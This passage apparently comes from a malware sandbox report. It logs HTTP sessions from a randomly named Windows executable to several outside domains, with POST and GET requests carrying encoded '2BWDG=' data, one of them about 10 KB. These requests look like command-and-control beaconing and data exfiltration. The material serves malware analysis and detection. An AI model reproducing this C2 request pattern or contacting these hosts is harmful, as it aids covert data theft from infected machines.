Oct 19, 2024 12:57:38.644953012 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sat, 19 Oct 2024 10:57:38 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49965	104.223.44.195	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:40.561228991 CEST	599	OUT	GET /czzt/?2BWDG=KAKG4dTjIDwNH0df8gU76RPra4TcXDDcoeBE7DNk+h+PFOgCIDI8J8PfDl8Ob7fEK2PQwbhHJxVFGH/KvrYWkV/dbZ6zqApOmDyx5MnRXvHLaXYjnht+BzI=&wfm=G6oTo8vx HTTP/1.1 Host: www.kerennih31.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:57:41.162436962 CEST	1033	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 796 date: Sat, 19 Oct 2024 10:57:41 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 [TRUNCATED] Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49996	203.161.41.204	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:46.217314005 CEST	860	OUT	POST /w90v/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.setsea.info Referer: http://www.setsea.info/w90v/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6b 7a 72 53 78 7a 47 67 4a 75 47 73 6a 4e 44 2f 6b 50 56 71 47 65 64 31 75 78 61 68 42 62 79 4f 4b 72 69 65 6c 6f 74 30 77 78 65 68 64 45 65 7a 71 57 39 73 62 49 42 4d 52 68 6f 68 53 34 79 72 44 6d 39 35 61 37 69 6b 50 67 4f 59 5a 31 34 53 52 66 38 6f 31 53 54 52 6f 30 76 62 6a 45 32 52 41 37 79 48 4c 55 65 64 77 4d 68 74 38 2b 39 42 36 30 51 6f 30 49 56 54 5a 4d 2f 47 62 76 79 6f 63 34 38 5a 77 41 46 2b 73 4f 51 32 62 52 37 4e 41 49 41 31 77 57 65 61 30 52 42 62 46 4c 50 52 44 36 61 5a 35 43 65 36 48 36 57 76 2b 70 59 2f 77 6f 4c 61 57 6d 62 61 62 66 72 78 32 75 6b 41 65 67 3d 3d Data Ascii: 2BWDG=kzrSxzGgJuGsjND/kPVqGed1uxahBbyOKrielot0wxehdEezqW9sbIBMRhohS4yrDm95a7ikPgOYZ14SRf8o1STRo0vbjE2RA7yHLUedwMht8+9B60Qo0IVTZM/Gbvyoc48ZwAF+sOQ2bR7NAIA1wWea0RBbFLPRD6aZ5Ce6H6Wv+pY/woLaWmbabfrx2ukAeg==
Oct 19, 2024 12:57:46.878372908 CEST	896	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:46 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50012	203.161.41.204	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:48.768079042 CEST	880	OUT	POST /w90v/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.setsea.info Referer: http://www.setsea.info/w90v/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6b 7a 72 53 78 7a 47 67 4a 75 47 73 68 6f 4c 2f 6d 6f 70 71 53 4f 64 30 68 52 61 68 4f 37 79 4b 4b 72 75 65 6c 70 5a 6b 6c 54 71 68 61 6b 75 7a 72 55 46 73 63 49 42 4d 5a 42 6f 6f 63 59 79 38 44 6d 77 5a 61 2b 4b 6b 50 67 4b 59 5a 77 45 53 52 73 6b 72 30 43 54 50 6e 55 76 64 73 6b 32 52 41 37 79 48 4c 55 4b 7a 77 49 31 74 38 4b 35 42 36 51 45 72 71 59 56 51 50 38 2f 47 66 76 7a 6a 63 34 39 4d 77 43 68 48 73 49 55 32 62 56 7a 4e 44 61 6b 71 36 57 65 63 70 42 42 4a 47 34 79 76 4d 66 6e 70 32 79 33 59 59 4f 69 32 79 50 4a 6c 68 5a 71 4e 45 6d 2f 70 47 59 69 46 37 74 5a 4a 46 74 70 5a 44 54 31 41 64 77 66 6b 4a 38 75 72 76 75 55 54 64 6e 34 3d Data Ascii: 2BWDG=kzrSxzGgJuGshoL/mopqSOd0hRahO7yKKruelpZklTqhakuzrUFscIBMZBoocYy8DmwZa+KkPgKYZwESRskr0CTPnUvdsk2RA7yHLUKzwI1t8K5B6QErqYVQP8/Gfvzjc49MwChHsIU2bVzNDakq6WecpBBJG4yvMfnp2y3YYOi2yPJlhZqNEm/pGYiF7tZJFtpZDT1AdwfkJ8urvuUTdn4=
Oct 19, 2024 12:57:49.461445093 CEST	896	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:49 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50018	203.161.41.204	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:51.334908009 CEST	10962	OUT	POST /w90v/ HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.setsea.info Referer: http://www.setsea.info/w90v/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 6b 7a 72 53 78 7a 47 67 4a 75 47 73 68 6f 4c 2f 6d 6f 70 71 53 4f 64 30 68 52 61 68 4f 37 79 4b 4b 72 75 65 6c 70 5a 6b 6c 54 79 68 64 58 57 7a 71 7a 52 73 64 49 42 4d 58 68 6f 6c 63 59 7a 2b 44 6d 34 56 61 2b 4f 53 50 6a 69 59 59 57 77 53 58 64 6b 72 39 43 54 50 2f 6b 76 59 6a 45 33 4c 41 36 43 44 4c 55 61 7a 77 49 31 74 38 4d 56 42 7a 6b 51 72 74 6f 56 54 5a 4d 2f 61 62 76 79 45 63 34 6c 63 77 43 6c 49 74 34 30 32 59 31 6a 4e 47 6f 38 71 67 57 65 65 71 42 41 61 47 34 2b 4b 4d 66 53 51 32 79 79 31 59 4a 4b 32 69 62 45 5a 38 36 4b 4d 54 51 57 78 64 5a 36 76 32 73 31 58 44 63 35 44 4c 41 52 6a 64 78 76 4d 50 4d 37 6e 71 4d 49 33 44 68 36 61 58 75 72 75 77 64 78 69 72 75 65 36 62 32 4b 59 31 34 53 55 6e 33 2b 46 4e 79 79 4a 38 50 6b 6c 48 38 63 47 73 2f 31 4c 38 4d 75 47 4b 70 64 77 67 39 38 37 50 56 42 53 62 37 30 36 44 45 4f 5a 30 39 41 36 6a 53 6f 73 41 2f 62 4d 4e 79 4c 54 74 6e 72 6c 50 65 70 6d 6a 59 6c 30 72 69 44 34 72 33 7a 36 59 4e 43 4b 6b 41 39 37 49 31 75 45 58 61 41 69 [TRUNCATED] Data Ascii: 2BWDG=kzrSxzGgJuGshoL/mopqSOd0hRahO7yKKruelpZklTyhdXWzqzRsdIBMXholcYz+Dm4Va+OSPjiYYWwSXdkr9CTP/kvYjE3LA6CDLUazwI1t8MVBzkQrtoVTZM/abvyEc4lcwClIt402Y1jNGo8qgWeeqBAaG4+KMfSQ2yy1YJK2ibEZ86KMTQWxdZ6v2s1XDc5DLARjdxvMPM7nqMI3Dh6aXuruwdxirue6b2KY14SUn3+FNyyJ8PklH8cGs/1L8MuGKpdwg987PVBSb706DEOZ09A6jSosA/bMNyLTtnrlPepmjYl0riD4r3z6YNCKkA97I1uEXaAiWBUX8Xx+vJvfhW3NijS+9ekjxkis0CBwlNpiAqKmXy+YFnRv5aiIeUa+gsIqwTMedUAajtkMpGcjaGE0uTWtmqaf2dj1LUacGgMu9nQ1hXU4u6SOtYKJfL+rqJGUPh+KNMEnp/ake0pyhE0EbQFE5fQKjPOLjWXvwrJHY6ekMmC+fh/Megsn0d2d5bcuaeHugvW3pqcTtrzr9TAavFRhs83/nc/os4yw++T+3ZJNzIY7rsbntjoDlfkHXOnBoisJwx/lOGMBWmiQrzWCe0z1dn6Aq6yhC/SiJ3dyV9uJBzkT7gHlWEJwZzJhrYUdnK8R0vaBmXq+V+BC6ZLsXS2bMIT2c+I/s9YkP2cd/FCG/g9QlHxDLdlXqMe/R0L3stsY9VIMZrOCwB2jSntD04fhNGNXv3cVNwlddsjcAbcSK6lUjgFizPtIHnFEdcbJ3eGxxL5Wkh8pYOpNVPSx6fFGoHSnTw4Eed81vOrdfb7HaZNsWBJuaA6ipvtjpdHShwoSxAUol9oyt1StsWLRnVQHOig6CevnVc3luOClTciRW67r/UzqcuAG7p1aPNb/E9usHeQCa5d2B6Wy3MFs9KFgXG0FYX2Tw8oLHf/PBPE6K7xG3TTzNUMogkrGqUG1rwZc7ACRroiqohcY8adysECtQQlMypYx659Cbk [TRUNCATED]
Oct 19, 2024 12:57:52.037790060 CEST	896	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:51 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50019	203.161.41.204	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:53.879705906 CEST	594	OUT	GET /w90v/?2BWDG=pxDyyHWOZ6ShkfCEnqNJFogO2iS2H7GTGeagqdlkqhurb1KRhlhkT/xhewcGJOmLLVVpZKefMTitXH9lS8UNo0PZm0vp/3iOIb2YKVi8sc5e3OZy6VAXooU=&wfm=G6oTo8vx HTTP/1.1 Host: www.setsea.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:57:54.578121901 CEST	911	IN	HTTP/1.1 404 Not Found Date: Sat, 19 Oct 2024 10:57:54 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 690 X-XSS-Protection: 1; mode=block Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 30 34 73 74 79 6c 65 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 69 73 65 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6f 76 65 72 6c 61 79 22 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 65 72 6d 69 6e 61 6c [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/404style.css"></head><body><div class="noise"></div><div class="overlay"></div><div class="terminal"> <h1>Error <span class="errorcode">404</span></h1> <p class="output">The page you are looking for might have been removed, had its name changed or is temporarily unavailable.</p> <p class="output">Please try to <a href="#1">go back</a> or <a href="/">return to the homepage</a>.</p> <p class="output">Good luck.</p></div> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50020	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:57:59.666585922 CEST	881	OUT	POST /zqr8/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/zqr8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 54 48 49 58 38 48 58 6c 62 67 31 52 47 6d 43 4c 38 39 39 54 77 6a 53 31 79 4a 42 7a 31 2b 58 49 79 59 79 6b 53 78 66 30 51 2b 65 77 52 4d 59 45 59 61 6a 79 51 6d 50 52 41 58 6a 4f 67 57 53 51 72 44 6b 62 66 6e 37 79 6e 44 70 48 31 38 77 35 6b 58 77 5a 57 4e 2f 59 66 38 68 2f 48 6b 67 6c 36 79 7a 76 45 4c 33 5a 68 31 4c 34 74 56 34 30 4d 33 4e 6e 52 41 65 63 48 4d 58 69 30 57 6a 6b 55 41 76 43 51 4b 64 32 47 4d 67 46 35 44 43 48 6b 45 58 34 68 36 41 73 4e 51 56 6d 6a 68 37 78 71 58 4d 41 75 4e 73 4a 4e 6a 56 31 41 65 38 7a 5a 4e 64 67 75 49 52 72 52 43 63 31 43 6f 44 41 4b 77 3d 3d Data Ascii: 2BWDG=THIX8HXlbg1RGmCL899TwjS1yJBz1+XIyYykSxf0Q+ewRMYEYajyQmPRAXjOgWSQrDkbfn7ynDpH18w5kXwZWN/Yf8h/Hkgl6yzvEL3Zh1L4tV40M3NnRAecHMXi0WjkUAvCQKd2GMgF5DCHkEX4h6AsNQVmjh7xqXMAuNsJNjV1Ae8zZNdguIRrRCc1CoDAKw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50021	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
